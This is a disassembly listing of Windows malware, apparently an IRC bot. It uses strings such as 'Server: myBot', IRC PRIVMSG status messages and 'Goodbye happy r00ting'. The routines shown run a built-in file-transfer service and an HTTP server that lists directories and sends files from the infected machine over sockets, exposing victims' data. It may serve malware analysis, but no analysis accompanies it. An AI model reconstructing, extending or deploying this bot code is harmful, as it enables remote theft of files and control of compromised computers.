		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40DC10
		add	esp, 14h


loc_4058EA:				; CODE XREF: sub_405350+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40C4F7
		pop	ecx
		jmp	short loc_405925
; ---------------------------------------------------------------------------


loc_4058F9:				; CODE XREF: sub_405350+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_405922
; ---------------------------------------------------------------------------


loc_405903:				; CODE XREF: sub_405350+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405925
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_405922:				; CODE XREF: sub_405350+28Bj
					; sub_405350+2AFj ...
		push	edi
		call	ebx	; send


loc_405925:				; CODE XREF: sub_405350+3DFj
					; sub_405350+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch


loc_405937:				; CODE XREF: sub_405350+1E0j
					; sub_405350+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40547E
		jmp	loc_405443
; ---------------------------------------------------------------------------


loc_405949:				; CODE XREF: sub_405350+11Ej
		push	1
		pop	eax


loc_40594C:				; CODE XREF: sub_405350+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405953	proc near		; CODE XREF: sub_405350+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB664Dh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	[ebp+arg_0]
		mov	dword_43C648, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB2BF4h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB2B66h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C648
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4059CB
		push	dword_43C648
		nop
		call	near ptr 71AB9639h
		nop
		call	near ptr 71AB4428h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4059CB:				; CODE XREF: sub_405953+60j
		push	1
		pop	eax
		leave
		retn
sub_405953	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059D0	proc near		; CODE XREF: sub_405350+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 7C80B4CFh
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41823A
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405A67
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405A4B
		push	edi
		mov	edi, 400h


loc_405A13:				; CODE XREF: sub_4059D0+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418132
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C648
		nop
		call	near ptr 71AB428Ah
		push	1
		nop
		call	near ptr 7C802442h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A13
		pop	edi


loc_405A4B:				; CODE XREF: sub_4059D0+3Bj
		push	esi
		call	sub_4180DC
		pop	ecx
		push	dword_43C648
		nop
		call	near ptr 71AB9639h
		nop
		call	near ptr 71AB4428h
		push	1
		pop	eax


loc_405A67:				; CODE XREF: sub_4059D0+35j
		pop	esi
		leave
		retn
sub_4059D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A6A	proc near		; DATA XREF: sub_4071BD+333o
					; sub_40F6F1+5763o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4413B8	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_441438	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405E55
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_446E1C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4413E4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E55
		push	7FFFFFFFh
		push	edi
		call	dword_4413E0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E55
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_441454	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E55
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405B41:				; CODE XREF: sub_405A6A+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4413A0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E50
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405B77:				; CODE XREF: sub_405A6A+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4412B0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405E3B
		cmp	esi, [ebp+var_C]
		jnz	short loc_405BF9
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_44144C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E3B
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405BCB
		lea	edx, [ebp+var_134]


loc_405BBF:				; CODE XREF: sub_405A6A+15Fj
		cmp	[edx], eax
		jz	short loc_405BCB
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405BBF


loc_405BCB:				; CODE XREF: sub_405A6A+14Dj
					; sub_405A6A+157j
		cmp	ecx, ebx
		jnz	short loc_405BE8
		cmp	ebx, 40h
		jnb	short loc_405BE8
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405BE8:				; CODE XREF: sub_405A6A+163j
					; sub_405A6A+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405E3B
		mov	[ebp+var_8], eax
		jmp	loc_405E3B
; ---------------------------------------------------------------------------


loc_405BF9:				; CODE XREF: sub_405A6A+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417430
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4413D0	; recv
		test	eax, eax
		jg	short loc_405C8C
		push	esi
		call	dword_441450	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405E3B
		lea	eax, [ebp+var_134]


loc_405C4B:				; CODE XREF: sub_405A6A+1EBj
		cmp	[eax], esi
		jz	short loc_405C5C
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405C4B
		jmp	loc_405E3B
; ---------------------------------------------------------------------------


loc_405C5C:				; CODE XREF: sub_405A6A+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405C80
		lea	eax, [ebp+ecx*4+var_134]


loc_405C6A:				; CODE XREF: sub_405A6A+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405C6A


loc_405C80:				; CODE XREF: sub_405A6A+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405E3B
; ---------------------------------------------------------------------------


loc_405C8C:				; CODE XREF: sub_405A6A+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417430
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AF0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405E3B


loc_405CBA:				; CODE XREF: sub_405A6A+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405D5F
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D33
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AF0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405D33
		mov	eax, offset asc_428300 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417980
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417980
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41824D
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417A00
		add	esp, 10h
		jmp	short loc_405D4A
; ---------------------------------------------------------------------------


loc_405D33:				; CODE XREF: sub_405A6A+27Fj
					; sub_405A6A+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4282FC ; "\r\n"
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D7E


loc_405D4A:				; CODE XREF: sub_405A6A+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405D5F:				; CODE XREF: sub_405A6A+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405CBA
		jmp	loc_405E3B
; ---------------------------------------------------------------------------


loc_405D7E:				; CODE XREF: sub_405A6A+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405DC8
		lea	eax, [ebp+var_134]


loc_405D8A:				; CODE XREF: sub_405A6A+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405D9B
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405D8A
		jmp	short loc_405DCB
; ---------------------------------------------------------------------------


loc_405D9B:				; CODE XREF: sub_405A6A+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405DBF
		lea	eax, [ebp+ecx*4+var_134]


loc_405DA9:				; CODE XREF: sub_405A6A+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405DA9


loc_405DBF:				; CODE XREF: sub_405A6A+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405DCB
; ---------------------------------------------------------------------------


loc_405DC8:				; CODE XREF: sub_405A6A+318j
		mov	esi, [ebp+var_4]


loc_405DCB:				; CODE XREF: sub_405A6A+32Fj
					; sub_405A6A+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405E34
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AF0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AF0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405E34
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_441454	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_406047
		add	esp, 14h
		jmp	short loc_405E3B
; ---------------------------------------------------------------------------


loc_405E34:				; CODE XREF: sub_405A6A+369j
					; sub_405A6A+38Fj
		push	esi
		call	dword_441450	; closesocket


loc_405E3B:				; CODE XREF: sub_405A6A+11Dj
					; sub_405A6A+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405B77
		jmp	loc_405B41
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405A6A+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405E55:				; CODE XREF: sub_405A6A+6Aj
					; sub_405A6A+92j ...
		call	dword_44134C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4282B8
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405E9B
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40DC10
		add	esp, 14h


loc_405E9B:				; CODE XREF: sub_405A6A+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	edi
		call	dword_441450	; closesocket
		push	[ebp+var_254]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx
sub_405A6A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EC5	proc near		; DATA XREF: sub_406047+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4173AC
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405F2A
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405F2F
; ---------------------------------------------------------------------------


loc_405F2A:				; CODE XREF: sub_405EC5+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405F2F:				; CODE XREF: sub_405EC5+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4173AC
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 7C8361EEh
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 7C83632Dh
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_405FA8
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4173AC
		add	esp, 24h
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_405FA8:				; CODE XREF: sub_405EC5+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4173AC
		add	esp, 28h


loc_405FC9:				; CODE XREF: sub_405EC5+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_441408	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_406009
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406979
		pop	ecx
		pop	ecx
		jmp	short loc_406026
; ---------------------------------------------------------------------------


loc_406009:				; CODE XREF: sub_405EC5+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4062F7
		add	esp, 10h


loc_406026:				; CODE XREF: sub_405EC5+142j
		push	[ebp+var_44C]
		call	dword_441450	; closesocket
		push	[ebp+var_B4]
		call	sub_417174
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_405EC5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406047	proc near		; CODE XREF: sub_405A6A+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417430
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40607D
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_406086
; ---------------------------------------------------------------------------


loc_40607D:				; CODE XREF: sub_406047+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset dword_42433C


loc_406086:				; CODE XREF: sub_406047+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406121
		mov	[ebp+arg_8], 2


loc_4060B1:				; CODE XREF: sub_406047+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AF0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4060F1
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4060F1
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40610B
; ---------------------------------------------------------------------------


loc_4060F1:				; CODE XREF: sub_406047+7Aj
					; sub_406047+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_406101
		push	5Ch
		pop	eax
		jmp	short loc_406104
; ---------------------------------------------------------------------------


loc_406101:				; CODE XREF: sub_406047+B3j
		movsx	eax, al


loc_406104:				; CODE XREF: sub_406047+B8j
		mov	[ebp+ebx+var_210], al


loc_40610B:				; CODE XREF: sub_406047+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4060B1


loc_406121:				; CODE XREF: sub_406047+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_314]
		push	offset asc_4285AC ; "\n"
		push	eax
		call	sub_41824D
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 7C81153Ch
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40616F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406172
		push	[ebp+arg_0]
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_40616F:				; CODE XREF: sub_406047+11Cj
		mov	[ebp+var_4], esi


loc_406172:				; CODE XREF: sub_406047+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40617F
		mov	[ebp+var_4], esi


loc_40617F:				; CODE XREF: sub_406047+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4061F9
		cmp	[ebp+arg_C], edi
		jz	short loc_4061ED
		lea	eax, [ebp+var_314]
		push	offset asc_4285A8 ; "*"
		push	eax
		call	sub_417A10
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406A36
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406248
; ---------------------------------------------------------------------------


loc_4061ED:				; CODE XREF: sub_406047+14Fj
		push	ebx


loc_4061EE:				; CODE XREF: sub_406047+126j
		call	dword_441450	; closesocket
		jmp	loc_4062F0
; ---------------------------------------------------------------------------


loc_4061F9:				; CODE XREF: sub_406047+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406248
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4173AC
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 7C810A77h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 7C809B47h


loc_406248:				; CODE XREF: sub_406047+1A4j
					; sub_406047+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_428568
		push	eax
		call	sub_4173AC
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416E58
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_446E14[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405EC5
		push	edi
		push	edi
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_446E24[ecx], eax
		jz	short loc_4062C2


loc_4062B0:				; CODE XREF: sub_406047+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4062F0
		push	5
		nop
		call	near ptr 7C802442h
		jmp	short loc_4062B0
; ---------------------------------------------------------------------------


loc_4062C2:				; CODE XREF: sub_406047+267j
		push	ebx
		call	dword_441450	; closesocket
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_428520
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40C4F7
		add	esp, 10h


loc_4062F0:				; CODE XREF: sub_406047+1ADj
					; sub_406047+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062F7	proc near		; CODE XREF: sub_405EC5+159p
					; sub_40F6F1+4C54p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417430
		mov	edi, [ebp+arg_0]
		push	offset asc_4285AC ; "\n"
		push	edi
		call	sub_41824D
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_406356
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 14h
		jmp	loc_406453
; ---------------------------------------------------------------------------


loc_406356:				; CODE XREF: sub_4062F7+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_406439
		call	sub_417AF0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		push	edi
		call	sub_417AF0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_441408	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
